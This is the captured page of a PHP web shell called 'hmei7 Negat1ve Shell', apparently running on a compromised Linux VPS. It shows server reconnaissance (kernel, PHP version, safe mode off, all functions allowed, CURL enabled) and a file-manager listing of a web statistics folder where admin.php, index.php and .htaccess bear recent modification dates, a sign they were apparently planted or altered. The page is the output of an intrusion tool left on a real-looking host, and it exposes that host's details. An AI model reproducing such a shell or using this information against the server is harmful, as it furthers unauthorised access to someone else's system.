hmei7 Negat1ve Shell
Server Information
Operating System : Linux vps.sugoinomnombox.com 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
PHP Version : 8.1.34
Storage : Total = 244.91 GB, Free = 133.92 GB [54%]
Disable Functions : All function is accessible
CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : OFF | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Path
[ 0700 >> drwx------ ]
Files Manager
Name Type Size Last Modified Owner/Group Permission Action
. dir -- 2026-03-17 04:36:04 sugoi3/sugoi3 0700 >> drwx------
.. dir -- 2026-03-17 07:08:59 sugoi3/sugoi3 0700 >> drwx------
.htaccess text/plain 533 B 2026-03-17 04:36:04 sugoi3/sugoi3 0644 >> -rw-r--r--
admin.php application/pdf 5.23 KB 2026-03-17 04:36:04 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_201901.... image/png 4.68 KB 2019-02-01 07:15:00 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_201902.... image/png 2.23 KB 2019-03-01 07:04:09 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_201903.... image/png 4.45 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_201901... image/png 2.78 KB 2019-02-01 07:15:00 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_201902... image/png 2.48 KB 2019-03-01 07:04:09 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_201903... image/png 2.57 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
dns_cache.db application/octet-... 12 KB 2019-03-22 07:10:38 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20190... image/png 1.9 KB 2019-02-01 07:15:00 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20190... image/png 1.6 KB 2019-03-01 07:04:09 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20190... image/png 1.63 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
index.html text/html 4.71 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
index.php text/x-php 6.98 KB 2026-03-17 04:36:04 sugoi3/sugoi3 0644 >> -rw-r--r--
usage.png image/png 2.38 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_201901.html text/html 126.29 KB 2019-02-01 07:15:00 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_201902.html text/html 50.18 KB 2019-03-01 07:04:09 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_201903.html text/html 67.51 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
webalizer.current text/plain 3.55 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
webalizer.hist text/plain 2.81 KB 2019-03-22 07:10:39 sugoi3/sugoi3 0644 >> -rw-r--r--
Copyright negat1ve1337@gmail.com Coded by Negat1ve